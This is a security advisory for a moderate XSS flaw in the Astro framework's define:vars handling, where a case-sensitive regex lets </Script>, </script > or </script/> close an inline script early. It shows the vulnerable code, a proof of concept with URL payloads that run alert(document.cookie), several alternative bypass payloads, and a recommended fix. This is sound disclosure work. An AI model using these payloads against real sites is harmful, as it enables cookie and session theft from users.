XSS via incomplete `</script>` sanitization in `define:vars` allows case-insensitive and whitespace-based bypass

Moderate **matthewp** published **GHSA-j687-52p2-xcff** 4 days ago

Package

astro (npm)

Affected versions

<= 6.1.1

Patched versions

6.1.6

Description

Summary

The `defineScriptVars` function in Astro's server-side rendering pipeline uses a case-sensitive regex `/<\/script>/g` to sanitize values injected into inline `<script>` tags via the `define:vars` directive. HTML parsers close `<script>` elements case-insensitively and also accept whitespace or `/` before the closing `>`, allowing an attacker to bypass the sanitization with payloads like `</Script>`, `</script >`, or `</script/>` and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`:

```
export function defineScriptVars(vars: Record<any, any>) {
    let output = '';
    for (const [key, value] of Object.entries(vars)) {
        output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
            /<\/script>/g,       // ← Case-sensitive, exact match only
            '\\x3C/script>',
        )};\n`;
```

```
    }
    return markHTMLString(output);
}
```

This function is called from `renderElement` at `util.ts:172-174` when a `<script>` element has `define:vars`:

```
if (name === 'script') {
    delete props.hoist;
    children = defineScriptVars(defineVars) + '\n' + children;
}
```

The regex `/<\/script>/g` fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

1. **Case variations**: `</Script>`, `</SCRIPT>`, `</sCrIpT>` — HTML tag names are case-insensitive but the regex has no `i` flag.
2. **Whitespace before `>`**: `</script >`, `</script\t>`, `</script\n>` — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
3. **Self-closing slash**: `</script/>` — the tokenizer enters "self-closing start tag" state on `/`.

`JSON.stringify()` does not escape `<`, `>`, or `/` characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., `Astro.url.searchParams`) → assigned to a variable → passed via `define:vars` on a `<script>` tag → `renderElement` → `defineScriptVars` → incomplete sanitization → injected into `<script>` block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (`src/pages/index.astro`):

```
---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars={{ name }}>
    console.log(name);
  </script>
</body>
</html>
```

Step 2: Ensure SSR is enabled in `astro.config.mjs`:

```
export default defineConfig({
  output: 'server'
});
```

Step 3: Start the dev server and visit:

```
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>
```

Step 4: View the HTML source. The output contains:

```
<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>
```

The browser's HTML parser matches `</Script>` case-insensitively, closing the script block. The `<img onerror=alert(document.cookie)>` is then parsed as HTML and the JavaScript in `onerror` executes.

Alternative bypass payloads:

```
/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
```

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `<script>` tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

- **Session hijacking** via cookie theft (`document.cookie`)
- **Credential theft** by injecting fake login forms or keyloggers
- **Defacement** of the rendered page
- **Redirection** to attacker-controlled domains

The vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable.

Recommended Fix

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `<` characters in the JSON output:

```
export function defineScriptVars(vars: Record<any, any>) {
    let output = '';
    for (const [key, value] of Object.entries(vars)) {
        output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
            /</g,
            '\\u003c',
        )};\n`;
    }
    return markHTMLString(output);
}
```

This is the standard approach used by frameworks like Next.js and Rails. Replacing every `<` with `\u003c` is safe inside JSON string contexts (JavaScript treats `\u003c` as `<` at runtime) and eliminates all possible `</script>` variants including case variations, whitespace, and self-closing forms.

Severity

Moderate 6.1 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Changed
Confidentiality	Low
Integrity	Low
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVE ID

CVE-2026-41067

Weaknesses

▶ CWE-79

Credits

 **offset** Reporter